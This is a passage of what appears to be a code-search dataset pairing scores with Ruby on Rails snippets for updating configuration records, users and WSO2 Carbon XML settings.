flash[:success] = I18n.t('task_config.update.notice.success'); redirect_to @task_config }\n format.json { render :show, status: :ok, location: @task_config }\n else\n format.html { render :edit }\n format.json { render json: @task_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4096fff425f28a2c5b1733dc032998a8", "score": "0.541763", "text": "def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\t\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend", "title": "" }, { "docid": "08493cc5a15e3489fd8ac7db62ef2131", "score": "0.5412399", "text": "def update_job_config(job_name, xml)\n jobs.update(job_name, xml.to_s)\n end", "title": "" }, { "docid": "38af77352fa13d21d37d17f782d77916", "score": "0.54085267", "text": "def update\n @config_value = ConfigValue.find(params[:id])\n\n respond_to do |format|\n if @config_value.update_attributes(params[:config_value])\n flash[:notice] = 'ConfigValue was successfully updated.'\n format.html { redirect_to(['admin', @config_value]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @config_value.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5c708effbb9e7f020524be73b70d7a9", "score": "0.54026824", "text": "def set_config\n @config = Config.find(params[:id])\n end", "title": "" }, { "docid": "a5c708effbb9e7f020524be73b70d7a9", "score": "0.54026824", "text": "def set_config\n @config = Config.find(params[:id])\n end", "title": "" }, { "docid": "9041aba4bd0eeeddcaf1bebef5375206", "score": "0.54021716", "text": "def set_configuration\n @configuration = Configuration.find(params[:id])\n end", "title": "" }, { "docid": "091aedb0e77591d945fc1b3d15ec69be", "score": "0.5387745", "text": "def set_configuration\n @configuration = ::Configuration.find(params[:id])\n end", "title": "" }, { "docid": "fd8fe735c5583e5d31119d59b301caa2", "score": "0.53750175", "text": "def update_config\n if File.directory?(yolo_dir) and File.exist?(yaml_path)\n @yaml = YAML::load_file yaml_path\n update_yaml_setting(@yaml, \"deployment\", \"api_token\", \"example\")\n update_yaml_setting(@yaml, \"deployment\", \"team_token\", \"example\")\n end\n end", "title": "" }, { "docid": "79f6d1e723bb49b9015f951e4e7943bc", "score": "0.53500885", "text": "def set_configuration\n \t @configuration = ::Configuration.find(params[:id])\n end", "title": "" }, { "docid": "5b14438e89be1277ef2a69f915ad5a5d", "score": "0.53352255", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @siteconfig.update(siteconfig_params)\n\t\t\t\tformat.html { redirect_to @siteconfig, notice: 'Siteconfig was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @siteconfig }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @siteconfig.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "9859b274b603ab193a682cf0418f173c", "score": "0.53333414", "text": "def sync_configuration!\n load_configuration_if_needed! and save\n save_configuration_if_needed!\n end", "title": "" }, { "docid": "82817dab35157cfc8a1db9bde41601b8", "score": "0.5323832", "text": "def set_api_config\n @api_config = ApiConfig.find(params[:id])\n end", "title": "" }, { "docid": "c2d4b9632a66adf29ac5e8889c8a191a", "score": "0.532378", "text": "def update\n @doc_type_am_configuration = DocTypeAmConfiguration.find(params[:id])\n\n respond_to do |format|\n if @doc_type_am_configuration.update_attributes(params[:doc_type_am_configuration])\n format.html { redirect_to @doc_type_am_configuration, notice: 'Doc type am configuration was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @doc_type_am_configuration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4aef8d3dfd067d28ad4af1465eba4d1", "score": "0.5319223", "text": "def update_notification_config(cfg)\n http_put(notification_config_url(), cfg)\n end", "title": "" }, { "docid": "04464202b17ac830fc86bbcd927e32f9", "score": "0.5310772", "text": "def update_config\n # hier könnte man nur bestime Sachen erlauben\n #config/set?framerate=2\n url = Rails.application.config.motion_api_base_path + '0/config/set?' + params[:key] + '=' + params[:value]\n result = HTTParty.get(url)\n # Hi er könnte man die Rückgabe noch anschauen und ggf ein Fehler schmeissen\n redirect_to :back\n end", "title": "" }, { "docid": "be4990f4d786dad661801da09b4348f5", "score": "0.5304508", "text": "def publish_current_config_update(config_id)\n nutella.net.publish('currentConfig/updated', config_id)\n puts 'Sent currentConfig/updated'\nend", "title": "" }, { "docid": "c22d573a52c3ed5ad72a61054580a07c", "score": "0.53042394", "text": "def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend", "title": "" }, { "docid": "c22d573a52c3ed5ad72a61054580a07c", "score": "0.53042394", "text": "def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend", "title": "" }, { "docid": "bdf7510ebdc65515732aa671037a8616", "score": "0.5285743", "text": "def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend", "title": "" }, { "docid": "bdf7510ebdc65515732aa671037a8616", "score": "0.5285743", "text": "def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend", "title": "" }, { "docid": "bdf7510ebdc65515732aa671037a8616", "score": "0.5285743", "text": "def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend", "title": "" }, { "docid": "16aeb640f23008488509dff5b784c655", "score": "0.52851546", "text": "def update\n respond_to do |format|\n if @configuration_detail.update(configuration_detail_params)\n format.html { redirect_to @configuration_detail, notice: 'Configuration detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @configuration_detail }\n else\n format.html { render :edit }\n format.json { render json: @configuration_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "220d1ce81f5dcd3b2f5ccc033d489489", "score": "0.52850574", "text": "def create\n @app_config = AppConfig.new(params[:app_config])\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to(@app_config, :notice => 'App config was successfully created.') }\n format.xml { render :xml => @app_config, :status => :created, :location => @app_config }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app_config.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a70b11187d4f0c8922d669ff2caae8f9", "score": "0.5277644", "text": "def update\n respond_to do |format|\n if @scrape_config.update(scrape_config_params)\n format.html { redirect_to @scrape_config, notice: 'Scrape config was successfully updated.' }\n format.json { render :show, status: :ok, location: @scrape_config }\n else\n format.html { render :edit }\n format.json { render json: @scrape_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d789bbdac26812bd6a15228bc517d97", "score": "0.5273213", "text": "def update\n respond_to do |format|\n if @project_configuration.update(project_configuration_params)\n format.html { redirect_to project_configurations_path, notice: 'Project configuration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project_configuration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a1b0f0fef684b87be1079a8834ed7fb7", "score": "0.5272311", "text": "def update\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n categories = [:general, :menu, :topic, :note, :smtp, :feed, :user, :log]\n\n yaml = ApplicationHelper.get_config_yaml\n\n categories.each do |cat|\n next if params[cat].nil? or params[cat].empty?\n\n yaml[cat] = Hash.new if yaml[cat].nil?\n\n params[cat].each do |key, val|\n if cat == :general\n case key\n when 'symbol_image'\n ConfigHelper.save_img('symbol.png', val) if val.size > 0\n else\n yaml[cat][key] = val\n end\n elsif cat == :topic\n case key\n when 'src'\n ConfigHelper.save_html('topics.html', val) if val.size > 0\n else\n yaml[cat][key] = val\n end\n elsif cat == :note\n case key\n when 'src'\n ConfigHelper.save_html('note.html', val) if val.size > 0\n else\n yaml[cat][key] = val\n end\n else\n if params[:smtp]['auth_enabled'] == '0'\n val = nil if ['auth', 'user_name', 'password'].include?(key)\n end\n yaml[cat][key] = val\n end\n end\n end\n\n ApplicationHelper.save_config_yaml(yaml)\n\n flash[:notice] = t('msg.update_success')\n redirect_to(:controller => 'config', :action => 'edit')\n end", "title": "" }, { "docid": "80e75068190b42945cdaeb5092ae7a24", "score": "0.5271576", "text": "def update\n respond_to do |format|\n if @configuration_key.update(configuration_key_params)\n format.html { redirect_to @configuration_key, notice: 'Configuration key was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @configuration_key.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "24207c81c43d96a273463a69d55704e1", "score": "0.5266773", "text": "def create_or_update_profile_configuration(args = {}) \n id = args['profileId']\n temp_path = \"/profiles.json/{profileId}/configuration\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"profileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "151713ed6737edd6b1b0dd214704deb9", "score": "0.5261638", "text": "def edit_carbonXML(carbon_home,url_port,url_contextRoot,contextRoot) \n\tFile.open(File.join(carbon_home , 'conf','carbon.xml')) do |config_file|\n\t\t# Open the document and edit the port (carbon.xml)\n\t\tconfig = Document.new(config_file)\n\t\tif !url_port.eql? \"\"\n\t\t\tconfig.root.elements['ServerURL'].text = 'https://localhost:' + url_port + url_contextRoot + '/services/'\n\t\tend\t\t\n\t\t\tconfig.root.elements['WebContextRoot'].text = contextRoot\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_carbon.xml'), 'w') do |result|\n\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','carbon.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_carbon.xml'),File.join(carbon_home , 'conf','carbon.xml') )\n\n\nend", "title": "" }, { "docid": "47c4c74cb10e98b78449393ad890cbb7", "score": "0.5261488", "text": "def update\n respond_to do |format|\n if @config_set_value.update(config_set_value_params)\n format.html { redirect_to @config_set_value, notice: 'Config set value was successfully updated.' }\n format.json { render :show, status: :ok, location: @config_set_value }\n else\n format.html { render :edit }\n format.json { render json: @config_set_value.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "064efbf45f0e14808a2b01ce5ab5f898", "score": "0.52602285", "text": "def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(app_configs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1bb784c7fb39a9bcfbb2fb0e2a034c8d", "score": "0.5259672", "text": "def update\n @notify_config = NotifyConfig.find(params[:id])\n\n respond_to do |format|\n if @notify_config.update_attributes(params[:notify_config])\n format.html { redirect_to @notify_config, notice: 'Notify config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @notify_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f63ca677a80c5be36d703b33ddd79c03", "score": "0.5254609", "text": "def update_all_config\n @admin.updateConfiguration\n end", "title": "" }, { "docid": "fe2a0e0ebaafeeb29a99a865a9a8cd81", "score": "0.5246397", "text": "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "2bbc245ed12a82e673618d1ae4dcc2fa", "score": "0.52396804", "text": "def update_solr_config\n [:solr, :blacklight].each do |key|\n say_status(\"warning\", \"COPYING #{key}.YML\".upcase, :yellow)\n\n remove_file \"config/#{key}.yml\"\n copy_file \"config/solr.yml\", \"config/#{key}.yml\"\n end\n end", "title": "" }, { "docid": "930daa9739df3800ce0ed5c95e2232f1", "score": "0.5225431", "text": "def update\n respond_to do |format|\n if @devis_configuration.update(devis_configuration_params)\n format.html { redirect_to admin_path, notice: 'Devis configuration was successfully updated.' }\n format.json { render :show, status: :ok, location: admin_path }\n else\n format.html { render :edit }\n format.json { render json: @devis_configuration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f46f7a99e8c053f45e30efc020bdf4c9", "score": "0.52254075", "text": "def update\n @config_template = ConfigTemplate.find(params[:id])\n\n respond_to do |format|\n if @config_template.update_attributes(params[:config_template])\n format.html { redirect_to(@config_template, :notice => 'ConfigTemplate was successfully updated.') }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @config_template.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @config_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b2367c6a18b3e70d11a9c8ea62ee9f8f", "score": "0.5221935", "text": "def update\n @configuration_set = ConfigurationSet.find(params[:id])\n\n respond_to do |format|\n if (params[:commit] == \"Guardar\")\n if @configuration_set.update_attributes(params[:configuration_set])\n format.html { redirect_to configuration_sets_path, notice: 'Configuration set was successfully updated.' }\n format.json { head :no_content }\n else\n @enterprises = Enterprise.includes(:devices).all\n format.html { render \"su_index\" }\n format.json { render json: @configuration_set.errors, status: :unprocessable_entity }\n end\n else\n if (ConfigurationSet.find_by_name(params[:configuration_set][:name]))\n device = Device.find(params[:device_id])\n device.AplicarSet(params[:configuration_set][:name])\n format.html { redirect_to configuration_sets_path, notice: 'Configuration set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to configuration_sets_path, notice: 'No existe ningun Set de Configracion con el nombre ingresado' }\n format.json { head :no_content }\n end\n end\n end\n end", "title": "" }, { "docid": "3e6300844d5d228e67da37e3113a148d", "score": "0.5215248", "text": "def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\tconfig.root.elements['clustering'].attributes['enable']='true'\n\t\tconfig.root.elements['clustering'].elements[4].text=\"wso2.org.esb\"\n\n\t\tele1=Element.new(\"parameter\")\n\t\tele1.text = \"127.0.0.1\"\n\t\tele1.add_attribute(\"name\", \"mcastBindAddress\")\n\n\t\tele2=Element.new(\"parameter\")\n\t\tele2.text = \"127.0.0.1\"\n\t\tele2.add_attribute(\"name\", \"localMemberHost\")\n\n\t\tele3=Element.new(\"parameter\")\n\t\tele3.add_attribute(\"name\", \"domain\")\n\n\t\tconfig.root.elements.each('//parameter') {|element| \n\t\t\t\n\t\t\tif(element.attributes == ele1.attributes)\n\t\t\t\telement.parent.delete(element)\n\t\t\tend\n\n\t\t\tif(element.attributes == ele2.attributes)\n\t\t\t\telement.parent.delete(element)\n\t\t\tend\n\n\t\t\t\n\t\t}\n\t\t\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend", "title": "" }, { "docid": "a33b6edd069bf0cb169afe652aceceb7", "score": "0.5214217", "text": "def set_app_config\n @app_config = AppConfig.find(params[:id])\n end", "title": "" }, { "docid": "9f143c95dfb6b60a7a4e0450acf3f2a7", "score": "0.52107775", "text": "def create\n @app_config = AppConfig.new(app_config_params)\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to @app_config, notice: 'App config was successfully created.' }\n format.json { render :show, status: :created, location: @app_config }\n else\n format.html { render :new }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2570bd40a91cd43221e1fccd48ef8cb0", "score": "0.52083224", "text": "def create\n @api_config = ApiConfig.new(api_config_params)\n\n respond_to do |format|\n if @api_config.save\n format.html { redirect_to @api_config, notice: 'Api config was successfully created.' }\n format.json { render :show, status: :created, location: @api_config }\n else\n format.html { render :new }\n format.json { render json: @api_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9439ebe2b0474f59380fd0037c7069d", "score": "0.52070767", "text": "def set_conf\n @conf = Conf.find(params[:id])\n end", "title": "" }, { "docid": "e9439ebe2b0474f59380fd0037c7069d", "score": "0.5205987", "text": "def set_conf\n @conf = Conf.find(params[:id])\n end", "title": "" } ]
c22691d5624d3f3809e803cc3964de7d
PUT /admin/users/1 PUT /admin/users/1.json
[ { "docid": "cd2440fc892bd82633207f4998e37d2b", "score": "0.6833383", "text": "def update\n @admin_user = Admin::User.find(params[:id])\n\n respond_to do |format|\n if @admin_user.update_attributes(params[:admin_user])\n format.html { redirect_to @admin_user, :notice => 'Usuário alterado com sucesso!', :layout => 'interna' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\", :layout => 'interna'}\n format.json { render :json => @admin_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "d287c257b900a2f4ae9bff3acdb3b320", "score": "0.730399", "text": "def update\n if @current_user.admin?\n @v1_admin_user = V1::Admin::User.find(params[:id])\n # TODO strip :company_id and maybe :encrypted_password out of params here\n if @v1_admin_user.update(user_params)\n render json: @v1_admin_user, status: :ok\n else\n render json: @v1_admin_user.errors, status: :unprocessable_entity\n end\n else\n render json: {error: 'forbidden'}, status: :forbidden\n end\n end", "title": "" }, { "docid": "d12f873dabde44550ebaf2cdc1394171", "score": "0.7176702", "text": "def update\n @user = Admin.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d0a9ca650949efc2e171cbc48421587b", "score": "0.7064652", "text": "def update\n update_user(users_path)\n end", "title": "" }, { "docid": "1c72e524e2ec9507e6e6f2cddd7e3e9b", "score": "0.7039399", "text": "def update\n if @user.admin?\n user = User.find(params[:id])\n user.update(user_params)\n render json: {\n message: 'Successfully made user an admin.',\n user_email: user.email,\n user_role: user.role\n }\n else\n render json: { error: 'You are not authorized to perform that action. ' },\n status: 401\n end\n end", "title": "" }, { "docid": "45e75638a263f73851ecd49803e989e6", "score": "0.7007355", "text": "def update\n @id = session[:user_id]\n @admin = Admin.find_by(id: @id)\n respond_to do |format|\n if @admin.update_attribute(:name , params[:admin][:name]) |\n\t\t\t\t\t\t\t\t @admin.update_attribute(:phone , params[:admin][:phone]) |\n\t\t\t\t\t\t\t\t @admin.update_attribute(:email , params[:admin][:email])\n\t\t\t\t\t\t \n format.html { redirect_to @admin, notice: 'Admin user was successfully updated!' }\n format.json { render :show, status: :ok, location: @admin }\n\n else\n format.html { render :edit }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0686f191a0def3b6c3ad6edfbcf2f03", "score": "0.69884676", "text": "def update_user(email)\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/users/2.json'\n ).to_s\n\n puts RestClient.patch(\n url,\n { user: { email: email } }\n )\n end", "title": "" }, { "docid": "f4d69e0c08bb57b6758f9aa6e6871606", "score": "0.6954388", "text": "def update\n if @admin_user.update(admin_user_params)\n render json: @admin_user, status: :ok\n else\n render json: @admin_user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "699d9259b5511ca444c672d0fdd17ed2", "score": "0.6930669", "text": "def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end", "title": "" }, { "docid": "0cb46e242a339293232b4f53c37d1deb", "score": "0.69111603", "text": "def update_user(opts = {})\n put 'user', opts\n end", "title": "" }, { "docid": "a3deee0f9eb1df7cba6f1a6e7a242ecd", "score": "0.6884462", "text": "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n $statsd.increment 'user.updated'\n respond_with(@user, :location => admin_user_path(@user))\n end", "title": "" }, { "docid": "9399da19a81500f3c1386cd9fff06bd6", "score": "0.6859861", "text": "def update_admin\n respond_to do |format|\n format.json do\n @user = User.find_by username: username_param[:username]\n ensure_user_exists(username_param[:username]) { return }\n yield\n end\n end\n end", "title": "" }, { "docid": "0b4c2960540c3a0c5e7102619705473d", "score": "0.6836542", "text": "def update_user( name, data )\n response = put(\"#{@config['url']}/api/2.1/rest/users/#{name}\", data, {accept: :json, :cookies => cookies})\n return response.code\n end", "title": "" }, { "docid": "9a0105d159b9a6b0f22c5316101f2e33", "score": "0.68153703", "text": "def update\n @user = User.find(params[:id])\n @user.admin = true\n @user.save\n redirect_to '/users'\n end", "title": "" }, { "docid": "5b3215cd1e0193dfaf3572aca693bbd5", "score": "0.6809652", "text": "def update_admin\n respond_to do |format|\n format.json do\n @user = User.find_by username: username_param[:username]\n ensure_user_exists(params[:username]) { return }\n yield\n end\n end\n end", "title": "" }, { "docid": "74e2c9a7e58298053d4570730393fb86", "score": "0.68049717", "text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user], :as => :admin_user)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d29732b3ade4296fe319435c1478c0a8", "score": "0.6794893", "text": "def update\n @admin_user.update(admin_user_params)\n respond_with(:admin, @admin_user)\n end", "title": "" }, { "docid": "ccf9ed09d600e760d6f263e0380c88ca", "score": "0.6788423", "text": "def update\n update_resource(@user)\n end", "title": "" }, { "docid": "ccf9ed09d600e760d6f263e0380c88ca", "score": "0.6788423", "text": "def update\n update_resource(@user)\n end", "title": "" }, { "docid": "060d1f9e03ff05ffa8c109da1c913458", "score": "0.67840654", "text": "def update\n @user.update!(user_params)\n render json: @user\n end", "title": "" }, { "docid": "23877a5384c55852925900aa0076af28", "score": "0.6766688", "text": "def update\n unless params[:id].nil?\n @user = User.find(params[:id])\n else\n @user = current_user\n end\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to '/admin/users' }\n format.json { head :ok }\n else\n puts \"erererereer\"\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5edb8a9b2cad14c7874c5f42c5809e9", "score": "0.67650455", "text": "def test_put_user\n json_data = '{\"name\":\"test\", \"last_name\":\"test\", \"document\" : \"098\"}'\n put '/users/4', json_data\n assert_equal 204, last_response.status, 'Código de respuesta incorrecto'\n end", "title": "" }, { "docid": "8b27f20fe6228aefb9a1c3338ecba581", "score": "0.6758268", "text": "def update\n @admin = Admin.find(params[:id])\n @admin.email = params[:email]\n @admin.password = params[:password]\n @admin.save\n render json:@admin\n end", "title": "" }, { "docid": "b8dcd2491b197c0c62a8f6716a37c05a", "score": "0.6744653", "text": "def update\n # Atualiza as informações o usuário\n \tif @user.update(users_params) \n \t\trender json: :success, status: 200\n \telse\n \t\trender json: @user.errors, status: :unprocessable_entity\n \tend\n end", "title": "" }, { "docid": "bb443a428f2563539f43b17c71594928", "score": "0.67444193", "text": "def update_user(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "a30761d2ac63ea903c79a55080849c8b", "score": "0.6742879", "text": "def update\n if is_admin?\n @user = User.find(params[:id])\n else\n @user = User.find(current_user)\n @user.admin = @user.admin\n end\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'Your account has been updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "edb34e35aa2fba4af3d5d54b48accc87", "score": "0.6734777", "text": "def update\n @user = User.new(user_params)\n \n result = HTTParty.put(\"http://jeapi.herokuapp.com/users/#{params[:id]}\",\n :body => {:email => @user.email, :password => @user.password, :function => @user.function },\n :headers => { 'token' => JEAPI_KEY } ) \n if result.code == 204\n is_admin? ? (redirect_to \"/admin/users\", notice: 'Atualização realizada com sucesso') : ()\n else \n @errors = JSON.parse(result.body)\n is_admin?(@current_user) ? (render template: \"admin/user_edit\") : (render :edit) \n end\n end", "title": "" }, { "docid": "832c248ba3eb8c446af4c6ce62926569", "score": "0.67334265", "text": "def update\n if @api_v1_user.update(api_v1_user_params)\n render json: @api_v1_user\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "47f1b8bbb51dc45ffacf38d5030fd63d", "score": "0.6717655", "text": "def update\n user = User.find_by!(id: params[:id])\n if user \n user.name = params[:name]\n user.surname = params[:surname]\n user.role_id = params[:role_id]\n user.phone = params[:phone]\n user.job = params[:job]\n user.email = params[:email]\n user.adress = params[:adress]\n user.confirmed = params[:confirmed]\n user.save\n render json: user, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end", "title": "" }, { "docid": "dac680065e99ff71a8197f2cdfb39720", "score": "0.67162997", "text": "def update\n respond_to do |format|\n if @admin_user.update(admin_user_params)\n format.html { redirect_to admin_users_path}\n format.json { render :show, status: :ok, location: @admin_user }\n else\n format.html { render :edit }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fb20ae80fc29cf6dcc1d0f920a88c97", "score": "0.6706137", "text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to :action => \"admin\", notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ebfa5c43a28c0c6ae3c7116c2834ee3", "score": "0.670334", "text": "def update_user(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "2aa5f4056b026a567da4badf829d1441", "score": "0.67023176", "text": "def update\n @user = @editable_users.find(params[:id])\n if current_user.admin?\n @user.update_attributes(params[:user], as: :admin)\n else\n @user.update_attributes(params[:user])\n end\n respond_with @user\n end", "title": "" }, { "docid": "4dcb9429c1396178cff3eed0c55252a1", "score": "0.66848284", "text": "def update\n current_user.update!(user_params)\n render json: current_user\n end", "title": "" }, { "docid": "c0f436afe080be01e3d9a900ae80f8ab", "score": "0.668002", "text": "def update\n head :no_content\n # @api_v1_user = Api::V1::User.find(params[:id])\n\n # if @api_v1_user.update(api_v1_user_params)\n # head :no_content\n # else\n # render json: @api_v1_user.errors, status: :unprocessable_entity\n # end\n end", "title": "" }, { "docid": "68b0b01bbab57b88a2722b82f10baae0", "score": "0.6666994", "text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to admin_users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8054e3c41b8df3c2ec3d070c63961f3", "score": "0.66632986", "text": "def update\n puts params[:id]\n user = User.find(params[:id])\n user.update(name: params[:name], email: params[:email])\n render json: {success: \"Successful updating\"}\n end", "title": "" }, { "docid": "8329cc612bbe5e1125ab6a8fd15957d2", "score": "0.66614413", "text": "def update\n #Preventing mass assignment of admin attribute unless the admin is adding a user w/ admin account\n @user = User.find(params[:id])\n @user.accessible = :all if current_user.admin?\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to [:admin, @user], notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5694c8d217cc016ffb3ea0daa9befc5", "score": "0.66606027", "text": "def update( params={ })\n normalize! params\n filter! DEFAULT_USER_OPTIONS, params\n\n put_request(\"/1.0/user\", DEFAULT_USER_OPTIONS.merge(params))\n\n end", "title": "" }, { "docid": "bd0056d0f7cee3e314721120356f8297", "score": "0.66584367", "text": "def update\n @user = User.find(params[:id])\n unless access_to_user(@user) then\n return\n end\n\n #if the current user is not authorized to change the admin status, the admin status stays the same.\n unless current_user.root? || current_user.admin? then\n params[:user][:admin] = @user.admin\n end\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'Benutzer wurde erfolgreich gespeichert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { 